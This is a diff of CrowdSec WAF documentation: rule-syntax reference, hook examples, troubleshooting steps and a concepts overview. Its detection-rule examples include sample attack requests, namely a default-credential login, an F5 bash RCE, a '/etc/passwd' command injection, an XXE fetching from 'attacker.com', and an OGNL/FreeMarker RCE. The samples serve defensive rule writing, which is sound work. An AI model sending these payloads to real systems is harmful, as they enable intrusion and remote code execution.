zones: + - METHOD + transform: + - lowercase + match: + type: equals + value: post + - zones: + - URI + transform: + - lowercase + match: + type: endsWith + value: /boaform/admin/formlogin + - zones: + - BODY_ARGS + variables: + - username + transform: + - lowercase + match: + type: equals + value: "admin" + - zones: + - BODY_ARGS + variables: + - psd + transform: + - lowercase + match: + type: equals + value: "parks" +``` + +### HTTP Request Example + +```http +POST /boaform/admin/formLogin HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded + +username=admin&psd=parks +``` + +### Key Features Demonstrated + +- **Form data analysis** with BODY_ARGS and specific variable targeting +- **HTTP method validation** with case-insensitive matching +- **URI endpoint matching** using endsWith comparison +- **Credential pattern detection** for default login attempts + +## 6. Header Names Analysis + +### Description + +Header name inspection (HEADERS_NAMES zone). + +### Rule Example + +```yaml +rules: + - and: + - zones: + - URI + transform: + - lowercase + match: + type: contains + value: /mgmt/tm/util/bash + - zones: + - HEADERS_NAMES + transform: + - lowercase + match: + type: contains + value: x-f5-auth-token + - zones: + - HEADERS_NAMES + transform: + - lowercase + match: + type: contains + value: authorization +``` + +### HTTP Request Example + +```http +POST /mgmt/tm/util/bash HTTP/1.1 +Host: example.com +Connection: keep-alive, X-F5-Auth-Token +X-F5-Auth-Token: a +Authorization: Basic YWRtaW46 +Content-Type: application/json + +{ + "command": "run", + "utilCmdArgs": "-c 'id'" +} +``` + +### Key Features Demonstrated + +- **Header name inspection** using HEADERS_NAMES zone +- **Multiple header validation** combining different authentication headers +- **Case-insensitive header matching** with lowercase transform +- **API endpoint protection** for management interfaces + +## 7. Simple URI Pattern Matching - Environment File Access + +### Description + +Simple URI pattern matching with endsWith. + +### Rule Example + +```yaml +rules: + - zones: + - URI + transform: + - lowercase + match: + type: endsWith + value: .env +``` + +### HTTP Request Example + +```http +GET /foo/bar/.env HTTP/1.1 +Host: example.com +``` + +### Key Features Demonstrated + +- **Simple URI matching** without complex AND conditions +- **File extension detection** using endsWith matcher +- **Case normalization** with lowercase transform +- **Environment file protection** for configuration security + +## 8. Regular Expression Validation - Command Injection Detection + +### Description + +Regex pattern matching for input validation. + +### Rule Example + +```yaml +rules: + - and: + - zones: + - METHOD + match: + type: equals + value: POST + - zones: + - URI + transform: + - lowercase + match: + type: endsWith + value: /boaform/admin/formping + - zones: + - BODY_ARGS + variables: + - target_addr + transform: + - lowercase + match: + type: regex + value: "[^a-f0-9:.]+" +``` + +### HTTP Request Example + +```http +POST /boaform/admin/formPing HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded + +target_addr=1.2.3.4;cat /etc/passwd +``` + +### Key Features Demonstrated + +- **Regex pattern matching** for command injection detection +- **Character class validation** to identify suspicious input +- **Form parameter filtering** on specific variables +- **Command injection prevention** through pattern recognition + +## 9. Complex JSON Processing - Multi-condition XXE + +### Description + +Multi-property JSON validation. + +### Rule Example + +```yaml +rules: + - and: + - zones: + - METHOD + transform: + - lowercase + match: + type: equals + value: post + - zones: + - URI + transform: + - lowercase + match: + type: contains + value: /rest/v1/guest-carts/1/estimate-shipping-methods + - zones: + - BODY_ARGS + variables: + - json.address.totalsCollector.collectorList.totalCollector.sourceData.data + transform: + - lowercase + match: + type: contains + value: "://" + - zones: + - BODY_ARGS + variables: + - json.address.totalsCollector.collectorList.totalCollector.sourceData.dataIsURL + transform: + - lowercase + match: + type: equals + value: "true" +``` + +### HTTP Request Example + +```http +POST /rest/v1/guest-carts/1/estimate-shipping-methods HTTP/1.1 +Host: example.com +Content-Type: application/json + +{ + "address": { + "totalsCollector": { + "collectorList": { + "totalCollector": { + "sourceData": { + "data": "http://attacker.com/malicious.dtd", + "dataIsURL": "true" + } + } + } + } + } +} +``` + +### Key Features Demonstrated + +- **Multi-property JSON validation** checking both data content and flags +- **URL scheme detection** using contains match for "://" +- **Boolean flag inspection** in JSON structures +- **Complex attack vector prevention** through comprehensive validation + +## 10. Template Injection in Request Body - POST Data Analysis + +### Description + +Raw body content analysis with multi-zone matching. + +### Rule Example + +```yaml +rules: + - and: + - zones: + - RAW_BODY + - ARGS + transform: + - lowercase + match: + type: contains + value: "freemarker.template.utility.execute" +``` + +### HTTP Request Example + +```http +POST /template/aui/text-inline.vm HTTP/1.1 +Host: example.com +Accept-Encoding: gzip, deflate, br +Content-Type: application/x-www-form-urlencoded + +label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"})) +``` + +### Key Features Demonstrated + +- **POST body content analysis** using RAW_BODY zone +- **Template injection detection** through signature-based matching +- **URL-encoded payload handling** in form submissions +- **Multi-zone coverage** examining both args and raw body content + +# Hooks Examples + +Hooks allow you to customize WAF behavior at different execution phases. This section demonstrates key hook capabilities organized by execution phase. + +## Pre-Evaluation Phase (pre_eval) + +Pre-evaluation hooks run before rules are evaluated, allowing you to modify rule behavior dynamically per request. + +### 1. Disable Rules by Name + +#### Description + +Dynamically disable specific rules before evaluation. + +#### Hook Example + +```yaml +pre_eval: + - filter: req.URL.Path == "/admin/upload" + apply: + - RemoveInBandRuleByName('some-specific-rule') +``` + +#### Use Case + +Disable existing rules on specific endpoints. + +### 2. Disable Rules by Tag + +#### Description + +Disable multiple rules sharing the same tag. + +#### Hook Example + +```yaml +pre_eval: + - apply: + - RemoveInBandRuleByTag('some-specific-tag') +``` + +#### Use Case + +Disable all rules with a specific tag. + +### 3. Change Rule Remediation by Name + +#### Description + +Modify the default remediation for specific rules. + +#### Hook Example + +```yaml +pre_eval: + - apply: + - SetRemediationByName('some-rule', 'log') +``` + +#### Use Case + +Change a blocking rule to log-only mode for testing. + +### 4. Disable Rules by ID + +#### Description + +Disable specific rules using their unique ID during request processing. + +#### Hook Example + +```yaml +pre_eval: + - filter: req.Method == "DELETE" + apply: + - RemoveInBandRuleByID(123) +``` + +#### Use Case + +Disable a specific rule by its ID for certain endpoints or conditions where the rule may cause false positives. + +### 5. GeoBlocking + +#### Description + +Block requests originating (or not) from specific countries. + +#### Hook Example + +This will block any requests not coming from the US or France. + +Note the empty value (`""`) in the list and the `?` after the call to `GeoIPEnrich`: this will allow IPs for which crowdsec was not able to get the country (eg, private IPs) and prevent the helper from returning `nil` which would break the evaluation. + +```yaml +pre_eval: + - filter: IsInBand == true && GeoIPEnrich(req.RemoteAddr)?.Country.IsoCode not in ["FR", "US", ""] + apply: + - DropRequest("Forbidden Country") +``` + +If you want to disallow traffic from a specific country: + +```yaml +pre_eval: + - filter: IsInBand == true && GeoIPEnrich(req.RemoteAddr)?.Country.IsoCode == "FR" + apply: + - DropRequest("Forbidden Country") +``` + +#### Use Case + +Automatically block traffic from unwanted countries. + +## Post-Evaluation Phase (post_eval) + +Post-evaluation hooks run after rule evaluation is complete, primarily used for debugging and logging. + +### 5. Debug Request Dumping + +#### Description + +Dump request details to file for debugging. + +#### Hook Example + +```yaml +post_eval: + - filter: IsInBand == true + apply: + - DumpRequest().WithBody().ToJSON() +``` + +#### Use Case + +Capture full request details for forensic analysis or debugging rule behavior. + +## On-Match Phase (on_match) + +On-match hooks run when a rule matches, allowing you to modify the response behavior. + +### 6. Change HTTP Response Code + +#### Description + +Modify the HTTP status code returned to users when a rule matches. + +#### Hook Example + +```yaml +on_match: + - filter: IsInBand == true + apply: + - SetReturnCode(413) +``` + +#### Use Case + +Return a 413 "Payload Too Large" instead of the default 403 when a rule triggers. + +### 7. Change Remediation Action + +#### Description + +Dynamically change the remediation action from the default. + +#### Hook Example + +```yaml +on_match: + - filter: IsInBand == true + apply: + - SetRemediation('captcha') +``` + +#### Use Case + +Show a captcha instead of blocking the request for certain rule matches. + +### 8. Allow Specific IPs + +#### Description + +Override blocking for trusted IP addresses. + +#### Hook Example + +```yaml +on_match: + - filter: IsInBand == true && req.RemoteAddr == "192.168.1.100" + apply: + - SetRemediation('allow') +``` + +#### Use Case + +Allow internal/admin IPs to bypass security rules while keeping protection for others. + +### 9. Cancel Alert Generation + +#### Description + +Prevent alert creation while keeping the request blocked. + +#### Hook Example + +```yaml +on_match: + - filter: IsInBand == true + apply: + - CancelAlert() +``` + +#### Use Case + +Block suspicious requests without generating alerts for known false positives. + +### 10. Force Alert for Out-of-Band Rules + +#### Description + +Generate alerts for monitoring rules that normally only log. + +#### Hook Example + +```yaml +on_match: + - filter: IsOutBand == true + apply: + - SendAlert() +``` + +#### Use Case + +Create alerts for reconnaissance attempts detected by monitoring rules. + +### 11. Hook Flow Control + +#### Description + +Control execution of subsequent hooks with break/continue. + +#### Hook Example + +```yaml +on_match: + - filter: IsInBand == true + apply: + - CancelEvent() + on_success: break + - filter: IsInBand == true + apply: + - SetRemediation('captcha') +``` + +#### Use Case + +Cancel event generation and stop processing further hooks. + +## Hook Execution Phases Summary + +- **on_load**: Rule loading phase - disable/modify rules permanently +- **pre_eval**: Before rule evaluation - dynamic rule modification per request +- **on_match**: After rule match - modify response behavior +- **post_eval**: After evaluation - debugging and logging + +## Summary of WAF Capabilities + +These examples demonstrate the comprehensive capabilities of the CrowdSec WAF engine: + +- **Zone-based analysis**: Headers, URI, Body, Args, Method inspection +- **Transform operations**: Case normalization, URL decoding, counting +- **Match types**: Exact equals, contains, regex, endsWith patterns +- **JSON processing**: Deep object navigation with dot notation +- **Complex logic**: AND/OR conditions across multiple zones +- **Variable targeting**: Specific parameter and header name filtering +- **Dynamic behavior**: Hooks for runtime customization +- **Security coverage**: XSS, SQLi, SSTI, XXE, RCE, and configuration exposure protection diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_syntax.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_syntax.md index 9ef652259..c89c2e0a6 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_syntax.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_syntax.md @@ -1,6 +1,6 @@ --- id: rules_syntax -title: Appsec rules syntax +title: Syntax sidebar_position: 8 --- @@ -8,27 +8,27 @@ sidebar_position: 8 Rules are the core of the **AppSec Component**. They are used to detect and block attacks. -There are 2 types of rules: +There are two types of rules: -- **In-band rules** are evaluated synchronously and will block the processing of the request until they are evaluated thus allowing a real-time remediation -- **Out-band rules** Out-band rules are dealt with asynchronously and will not delay the processing of the request. They won't allow remediation _at first sight_ but are very useful for handling expensive evaluations or as part of a more complex detection logic (eg, blocking an exploit that spans multiple requests). +- **In-band rules** are evaluated synchronously and will block request processing until they are evaluated, allowing real-time remediation. +- **Out-of-band rules** are evaluated asynchronously and do not delay request processing. They do not trigger immediate remediation, but they are useful for expensive evaluations or more complex detection logic (for example, blocking an exploit that spans multiple requests). -**In-band rules** and **out-band rules** differ slightly in their **default** behavior when a rule matches: +**In-band rules** and **out-of-band rules** differ slightly in their **default** behavior when a rule matches: - When an **in-band rule** matches: - - an **alert** is created inside CrowdSec: allowing immediate and long-term remediation against the offending IP. + - an **alert** is created inside CrowdSec, allowing immediate and long-term remediation against the offending IP. - Note: No **event** will be generated by default. -- When an **out-band rule** matches +- When an **out-of-band rule** matches: - An **event** will be generated and sent through the normal **parsers/scenarios pipeline**, allowing the detection of more complex behaviors. - - Note: no **alert** will be generated from this out-band rule only, the **parsers/scenarios pipeline** is responsible for raising **alerts** from processed **events** + - Note: No **alert** is generated by this out-of-band rule alone; the **parsers/scenarios pipeline** is responsible for raising **alerts** from processed **events**. ## Rules File Format The rule files share some common directives with the scenarios: -- a `name` and `description` -- a `rules` section describing the rule to match the HTTP request -- [a label section](https://doc.crowdsec.net/docs/next/scenarios/format/#labels) +- a [`name`](#name) and [`description`](#description) +- a [`rules`](#rules) section describing the rule to match the HTTP request +- a [`labels`](#labels) section for metadata (see [labels format](https://doc.crowdsec.net/docs/next/scenarios/format/#labels)) ```yaml name: crowdsecurity/example-rule @@ -53,20 +53,107 @@ labels: - attack.Txxxx ``` -The `rules` contain one or more conditions that can be linked together by an operator (`or`/`and`). -Each condition contains: +## Rule Structure -## Target +### name -:::info -The target allows to specify which part of the requests needs to be inspected. You can have more than one. -::: +> string + +Rule identifier (required at the file level). It should be unique and stable because it is used for logging and troubleshooting. + +```yaml {1} +name: crowdsecurity/example-rule +description: "Detect example pattern" +rules: [] +``` + +### description + +> string + +Human-readable summary of what the rule is detecting (optional but recommended). + +```yaml {2} +name: crowdsecurity/example-rule +description: "Detect example pattern" +rules: [] +``` + +### labels + +> object + +Extra metadata used by scenarios and the Hub (optional). The format follows the [labels schema](https://doc.crowdsec.net/docs/next/scenarios/format/#labels). + +```yaml {4-7} +name: crowdsecurity/example-rule +description: "Detect example pattern" +rules: [] +labels: + type: exploit + service: http + behavior: "http:exploit" +``` + +### rules + +> array + +List of rule conditions (required). Each condition inspects one or more [zones](#zones) and must include a [match](#match). + +For a condition: + +- **Mandatory**: [`zones`](#zones) and [`match`](#match). +- **Optional**: [`variables`](#variables), [`transform`](#transform). [`variables`](#variables) restricts matching to specific keys within `ARGS`, `BODY_ARGS`, or `HEADERS`. + +At minimum, a condition needs a zone list and a match: + +```yaml +- zones: + - URI + match: + type: contains + value: admin +``` + +Conditions can be grouped with boolean operators. Use `and` when all nested conditions must match, and `or` when any nested condition can match. If no operator is provided at the rule level, conditions are treated as `or` by default. Each nested item is a full condition with its own [`zones`](#zones) and [`match`](#match). + +```yaml +rules: + - and: + - zones: + - METHOD + match: + type: regex + value: (GET|HEAD) + - zones: + - URI + match: + type: equals + value: /crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl +``` + +See the [appsec-generic-test rule](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/appsec-generic-test) for a full example. + +### Rule condition fields + +The following fields apply to each rule condition inside `rules`. + +### zones + +> array of strings + +Zones specify which parts of the request are inspected. You can have more than one. - _(mandatory)_ `zones` one or more of: - `ARGS`: Query string parameters - `ARGS_NAMES`: Name of the query string parameters - `BODY_ARGS`: Body args - `BODY_ARGS_NAMES`: Name of the body args + - `COOKIES`: Cookies sent in the request + - `COOKIES_NAMES`: Names of the cookies sent in the request + - `FILES`: Uploaded files in the request + - `FILES_NAMES`: Names of uploaded files in the request - `HEADERS`: HTTP headers sent in the request - `HEADERS_NAMES`: Name of the HTTP headers sent in the request - `METHOD`: HTTP method of the request @@ -75,43 +162,59 @@ The target allows to specify which part of the requests needs to be inspected. Y - `URI_FULL`: The full URL of the request including the query string - `RAW_BODY`: The entire body of the request - `FILENAMES`: The name of the files sent in the request -- _(optional)_ `variables` containing one or more variable names to restrict the matching operation to (only relevant for `ARGS`, `BODY_ARGS` and `HEADERS`) + - `FILES_TOTAL_SIZE`: Total size of the uploaded files in the request, -```yaml -#match only in 'foo' and 'bar' query string parameters -- zones: - - ARGS - variables: - - foo - - bar ---- -#match in any args or part of the URI -- zones: - - URI - - ARGS +Each zone entry is a single string from the list above. There are no per-zone required fields beyond choosing at least one zone for the condition. + +```yaml {3-4} +name: crowdsecurity/example-rule +rules: + - zones: + - URI + match: + type: contains + value: admin ``` +### variables + +> array of strings + +Optional list of variable names to restrict the [match](#match) to specific keys (only relevant for `ARGS`, `BODY_ARGS` and `HEADERS`). + :::info The default config `crowdsecurity/base-config` enables specific decoders when the following content-types are set: - - **application/x-www-form-urlencoded** - - **multipart/form-data** - - **application/xml** - - **application/json** : when used, all the variable names are prefixed with `json.` - - **text/xml** + +- **application/x-www-form-urlencoded** +- **multipart/form-data** +- **application/xml** +- **application/json** : when used, all the variable names are prefixed with `json.` +- **text/xml** ::: -## Match +```yaml {5-7} +name: crowdsecurity/example-rule +rules: + - zones: + - ARGS + variables: + - foo + - bar + match: + type: contains + value: admin +``` -:::info -Match provides the pattern to match the target against, including optional transformations. -::: +### match -- _(mandatory)_ `match` containing both: +> object - - _(mandatory)_ `type` indicates the matching method, one of: +Match provides the pattern to match the target against. You can combine it with a [`transform`](#transform). +- _(mandatory)_ `match` containing both: + - _(mandatory)_ `type` indicates the matching method, one of: - `regex`: matches _target_ against value (_value_ is a RE2 regexp) - `equals`: _target_ is a string equal to _value_ - `startsWith`: _target_ starts with _value_ @@ -126,37 +229,86 @@ Match provides the pattern to match the target against, including optional trans - _(mandatory)_ `value` a string that is compared to the _target_ -- _(optional)_ `transform` section, containing one or more operations that will be applied on _target_ before performing the match operation: - - `lowercase` - - `uppercase` - - `b64decode` : base64 decode - - `length` : transform _target_ to a number representing the string's length - - `urldecode` : URL decode - - `trim` : remove leading and trailing spaces - - `normalizepath` : normalize the path (remove double slashes, etc) - - `htmlEntitydecode` : decode HTML entities - - `count` : number of times the _target_ appear - -```yaml -# we want the query parameter foo to be equal to 'toto' -- zones: - - ARGS - variables: - - foo - match: - type: equal - value: toto ---- -# we want URI to contain any variation of 'blah' (ie. blah BLah BlAH ...) -- zones: - - URI - tranform: - - uppercase - match: - type: contains - value: BLAH +```yaml {7-9} +name: crowdsecurity/appsec-generic-test +description: "AppSec Generic Test: trigger on GET /crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl" +rules: + - and: + - zones: + - METHOD + match: + type: regex + value: (GET|HEAD) + - zones: + - URI + match: + type: equals + value: /crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl +labels: + service: http + type: test ``` +### transform + +> array of strings + +Optional operations applied to the target before matching: + +- `lowercase` +- `uppercase` +- `length` : transform _target_ to a number representing the string's length +- `count` : number of times the _target_ appears + +**Trim:** + +- `trim` : remove leading and trailing spaces +- `trim_left` : remove leading spaces +- `trim_right` : remove trailing spaces + +**Decoding:** + +- `htmlentitydecode` : decode HTML entities +- `js_decode` : decode JavaScript escape sequences +- `css_decode` : decode CSS escape sequences +- `urldecode` : URL decode +- `hexdecode` : hex decode +- `cmdline` : decode common command-line obfuscation techniques + +**Base64:** + +- `b64decode` : strict base64 decode +- `b64decode_lenient` : lenient base64 decode (no padding required, decodes up to first invalid character, skips whitespaces and dots) +- `b64encode` : base64 encode + +**Path normalization:** + +- `normalize_path` (or `normalizepath`) : normalize the path (remove double slashes, etc) +- `normalize_path_win` (or `normalizepathwin`) : normalize the path for Windows (handles backslashes) + +**Whitespace and nulls:** + +- `remove_whitespaces` : remove all whitespace characters +- `compress_whitespaces` : compress multiple whitespace characters into one +- `remove_nulls` : remove null bytes +- `replace_nulls` : replace null bytes with spaces + +**Comments:** + +- `remove_comments` : remove common comment sequences (e.g. `/* ... */`, `//`, `#`, `--`) +- `replace_comments` : replace comment sequences with a space + +```yaml {5-6} +name: crowdsecurity/example-rule +rules: + - zones: + - URI + transform: + - lowercase + match: + type: contains + value: admin +``` ### Seclang Support @@ -177,7 +329,6 @@ The default paths for the data directory per OS: - Freebsd: `/var/db/crowdsec/data` - Windows: `C:\programdata\crowdsec\data` - > Example ```yaml diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/troubleshooting.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/troubleshooting.md index bc467bab3..3ce08e4e8 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/troubleshooting.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/troubleshooting.md @@ -8,8 +8,8 @@ sidebar_position: 81 ## Monitoring with `cscli` `cscli metrics` exposes basic metrics about the AppSec Component: - - Number of requests processed and blocked by the component/data source - - Number of triggers for each rule +- Number of requests processed and blocked by the component/data source +- Number of triggers for each rule ``` Appsec Metrics: @@ -43,8 +43,8 @@ Setting `log_level` to `debug` or `trace` in the acquisition config section or t When enabling debug at acquisition or AppSec config level: - - load time debug will be enabled, such as information regarding the translation of the rule to `SecRule` format. - - runtime debug will be enabled for all the rules loaded by the AppSec Component / AppSec config. +- Load-time debug is enabled (for example, rule translation to `SecRule` format). +- Runtime debug is enabled for all rules loaded by the AppSec Component/AppSec config. When enabling debug directly at the AppSec rule level, only runtime evaluation details for that rule are displayed, such as: @@ -107,10 +107,10 @@ INFO[2023-12-06 14:58:19] loading acquisition file : ... ## Testing a given rule -We can create a skeleton environment with: - - acquisition config that is going to load your test AppSec config - - appsec config to load the test rule - - the test rule itself +Create a minimal test environment with: +- An acquisition config that loads your test AppSec config +- An AppSec config that loads the test rule +- The test rule itself > /etc/crowdsec/acquis.d/test_appsec.yaml ```bash @@ -118,7 +118,8 @@ mkdir -p /etc/crowdsec/acquis.d/ cat > /etc/crowdsec/acquis.d/test_appsec.yaml < cat /etc/crowdsec/appsec-rules/vpatch-CVE-2023-42793.yaml ```yaml @@ -203,13 +204,13 @@ labels: - cwe.CWE-288 ``` -To be able to communicate with the AppSec Component, let's create a bouncer API Key: +To communicate with the AppSec Component, create a bouncer API key: ```bash cscli bouncers add appsec_test -k this_is_a_bad_password ``` -We can now query our AppSec Component (we're assuming here that it runs on the default `127.0.0.1:7422`, see the `listen_addr` parameter of the acquisition config): +You can now query the AppSec Component (assuming the default `127.0.0.1:7422`; see the `listen_addr` setting in your acquisition config): ```bash ▶ curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /rpc2' -H 'x-crowdsec-appsec-host: google.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' @@ -221,7 +222,7 @@ Content-Type: text/plain; charset=utf-8 {"action":"ban"} ``` -And we see the alert appearing in `crowdsec.log` : +The alert should appear in `crowdsec.log`: ``` ... @@ -229,7 +230,7 @@ INFO[2023-12-05 12:17:52] (test) alert : crowdsecurity/vpatch-CVE-2023-42793 by ... ``` -And in `cscli alerts list` : +And in `cscli alerts list`: ``` ╭────┬────────────────┬─────────────────────────────────────┬─────────┬────┬───────────┬───────────────────────────────╮ diff --git a/crowdsec-docs/versioned_docs/version-v1.7/concepts.md b/crowdsec-docs/versioned_docs/version-v1.7/concepts.md index 1a184add4..080c6d831 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/concepts.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/concepts.md @@ -5,60 +5,106 @@ sidebar_position: 1 --- -# Global overview +## Global overview -# Security Engine +This page defines the core CrowdSec concepts and how the components interact. It focuses on how detection is done, where data is stored, and where remediation is enforced. -> The Security Engine is CrowdSec's IDS/IPS (Intrusion Detection System/Intrusion Prevention System) -> It is a rules and behavior detection engine comprised of Log Processor and the Local API. +## Security Engine -A Security Engine can operate [independently](intro.mdx#architecture) or in a [distributed manner](intro.mdx#deployment-options), adapting to the specific needs and constraints of your infrastructure. For more information on CrowdSec's distributed approach, visit our documentation on collaborative operations and distributed deployments. +> The Security Engine is the CrowdSec software you install (an IDS: Intrusion Detection System). +> It detects threats and produces alerts. The Local API can turn alerts into decisions using [profiles](/local_api/profiles/intro.md). +> Threat prevention (blocking) is enforced by Remediation Components (bouncers). +> Internally, the Security Engine is made of two main components: the Log Processor (detection) and the Local API (storage and decision distribution). +A Security Engine can run [standalone](intro.mdx#architecture) (Log Processor + Local API on the same host) or in a [distributed setup](intro.mdx#deployment-options) (multiple Log Processors sending alerts to a shared Local API). This lets you adapt CrowdSec to your infrastructure and constraints. -# Log Processor (LP) +In a distributed setup, detection content (collections/parsers/scenarios) runs on the Log Processor machines, while the Local API focuses on storing data and serving decisions. See the [multi-server setup guide](/u/user_guides/multiserver_setup) for a concrete deployment pattern. -> The Log Processor is the part of the Security Engine in charge of the detection of bad behaviors, based on your logs or your HTTP trafic. +### Log Processor (LP) -The Log Processor (abreviated as `LP`) detects bad behaviors via two main functions: - - [Acquire](/log_processor/data_sources/introduction.md) logs, [parse](/log_processor/parsers/introduction.mdx), [enrich](/log_processor/parsers/enricher.md) and match them against [Scenarios](/log_processor/scenarios/introduction.mdx). - - Receive [HTTP Requests](/log_processor/data_sources/appsec.md) and match them against the [Appsec Rules](/appsec/intro.md). +> The Log Processor is the part of the Security Engine in charge of detecting malicious behavior based on your logs and HTTP traffic. -Alerts resulting from Scenarios or Appsec Rules being triggered are sent to the `LAPI`. +The Log Processor (abbreviated as `LP`) detects malicious behavior in two main ways: +- It [acquires](/log_processor/data_sources/introduction.md) logs, [parses](/log_processor/parsers/introduction.mdx) and [enriches](/log_processor/parsers/enricher.md) events, then matches them against [scenarios](/log_processor/scenarios/introduction.mdx). +- It receives [HTTP requests](/log_processor/data_sources/appsec.md) and matches them against [AppSec rules](/appsec/intro.md). -# Local API (LAPI) +When a scenario or an AppSec rule is triggered, the Log Processor sends an alert to the `LAPI`. -> The Local API is the part of the Security Engine acting as the middleman between the Log Processors, the Remediation Components and the Central API. +Related documentation: +- Installation and updates of detection content: [Collections](/log_processor/collections/introduction.md), [Hub management](/cscli/cscli_hub.md) +- Add context to alerts (visible in `cscli`/Console): [Alert context](/log_processor/alert_context/intro.md) +- AppSec request inspection and compatible integrations: [AppSec](/appsec/intro.md) -The Local API (abreviated as `LAPI`) has several functions: - - Receive alerts from Log Processors and create Decisions based on configured [Profiles](/local_api/profiles/intro.md) - - Expose Decisions to [Remediation Components](/u/bouncers/intro) - - Interact with the Central API to send Alerts receive Blocklists +### Local API (LAPI) +> The Local API is the part of the Security Engine that stores alerts/decisions and acts as the middleman between Log Processors, Remediation Components, and the Central API. -# Remediation Components (Bouncers) +The Local API (abbreviated as `LAPI`) has several roles: +- Receive alerts from Log Processors and (optionally) create decisions based on configured [profiles](/local_api/profiles/intro.md). +- Expose decisions to [Remediation Components](/u/bouncers/intro) so they can enforce them. +- Interact with the Central API to share signals and receive community blocklists. + +For implementation details, see: +- Local API configuration for distributed setups: [Local API configuration](/local_api/configuration.md) +- How bouncers consume decisions: [Bouncers API](/local_api/bouncers-api.md) +- Authentication methods: [Local API authentication](/local_api/authentication.md) +- Notifications: [Notification plugins](/local_api/notification_plugins/intro.md) +- Storage: [Databases](/local_api/database.md) +- Controlling exemptions: [AllowLists](/local_api/allowlists.md) + + +## Glossary + +Quick definitions of terms used throughout the documentation and in tools like `cscli`: + +- **Collections**: bundles of parsers, scenarios, and other items installed together. See [Collections](/log_processor/collections/introduction.md) and [Hub management](/cscli/cscli_hub.md). +- **Scenarios**: behavior detections evaluated by the Log Processor. See [Scenarios](/log_processor/scenarios/introduction.mdx). +- **AppSec rules**: WAF rules evaluated by the AppSec component. See [AppSec](/appsec/intro.md). +- **Alerts**: records created when a scenario/AppSec rule triggers; stored in the Local API. See [`cscli alerts`](/cscli/cscli_alerts.md). +- **Decisions**: remediation instructions (for example `ban`, sometimes other types depending on your setup) created by Local API [profiles](/local_api/profiles/intro.md) or manually via `cscli`; consumed by bouncers. See [`cscli decisions`](/cscli/cscli_decisions.md) and [Bouncers API](/local_api/bouncers-api.md). + + +## Remediation Components (Bouncers) > The Remediation Components (also called `Bouncers`) are external components in charge of enforcing decisions. -Remediation Components rely on the Local API to receive decisions about malevolent IPs to be blocked *(or other supported types or remediations such as Captcha, supported by some of our Bouncers).* +Remediation Components rely on the Local API to receive decisions about malicious IPs to be blocked *(or other remediation types such as CAPTCHA, supported by some bouncers).* *Note that they also support [CrowdSec's Blocklist as a Service](/u/integrations/intro).* -Those Decisions can be based on behavioral detection made by the `LP` or from Blocklists. +Those decisions can come from detections made by the `LP` or from blocklists. -Remediations components leverage existing components of your infrastructure to block malevolent IPs where it matters most. You can find them on our [Remediation Components' HUB](https://app.crowdsec.net/hub/remediation-components) +Remediation Components leverage existing parts of your infrastructure to block malicious IPs where it matters most (firewall, reverse proxy, web server, ...). You can find them on our [Remediation Components Hub](https://app.crowdsec.net/hub/remediation-components). -# Central API (CAPI) +## Central API (CAPI) > The Central API (CAPI) serves as the gateway for network participants to connect and communicate with CrowdSec's network. -The Central API (abreviated as `CAPI`) receives attack signals from all participating Security Engines and signal partners, then re-distribute them curated community decisions ([Community Blocklist](/central_api/blocklist.md)). -It's also at the heart of CrowdSec centralized [Blocklist services](/u/blocklists/intro). +The Central API (abbreviated as `CAPI`) receives attack signals from participating Security Engines and signal partners. It then redistributes curated community decisions (the [Community Blocklist](/central_api/blocklist.md)). -# Console +The Central API is also at the heart of CrowdSec centralized [blocklist services](/u/blocklists/intro). -> The CrowdSec Console is a web-based interface providing reporting, alerting, management and QoL features to CrowdSec's products usages: from your park of Security Engines to the management of CTI related actions +For details about what data is sent (and when), see the [Central API introduction](/central_api/intro.md). +If you want to disable sharing to the Central API, see [how to disable the Central API](/u/troubleshooting/security_engine#how-to-disable-the-central-api). + +## Console + +> The CrowdSec Console is a web-based interface for reporting, alerting, and management across your CrowdSec products (from your fleet of Security Engines to CTI-related actions). The [Console](https://app.crowdsec.net) allows you to: - - [Manage alerts](/u/console/alerts/intro) of your security stack - - [Manage decisions](/u/console/decisions/decisions_intro) in real-time - - View and use [blocklists and integrations](/u/blocklists/intro) - - Manage your API keys ([CTI API](/u/cti_api/intro), [Service API](/u/console/service_api/getting_started)) \ No newline at end of file +- [Manage alerts](/u/console/alerts/intro) from your security stack. +- [Manage decisions](/u/console/decisions/decisions_intro) in real time. +- View and use [blocklists and integrations](/u/blocklists/intro). +- Manage your API keys ([CTI API](/u/cti_api/intro), [Service API](/u/console/service_api/getting_started)). + +To connect an instance to the Console, see [Console enrollment](/u/getting_started/post_installation/console) and the `cscli` command reference: [`cscli console enroll`](/cscli/cscli_console_enroll.md). + +## Example: from a log line to a block + +This is a typical flow for a log-based scenario (for example, SSH brute-force): + +0. **Install detection content**: you typically install a [collection](/log_processor/collections/introduction.md) from the Hub (parsers + scenarios) using `cscli` (see [Hub management](/cscli/cscli_hub.md)). +1. **Acquire**: the Log Processor reads your service logs via an [acquisition configuration](/log_processor/data_sources/introduction.md) (for example, a file tail on `/var/log/auth.log`). +2. **Parse + enrich**: [parsers](/log_processor/parsers/introduction.mdx) extract fields (source IP, service, status, ...) and [enrichers](/log_processor/parsers/enricher.md) add context (GeoIP/ASN, ...). 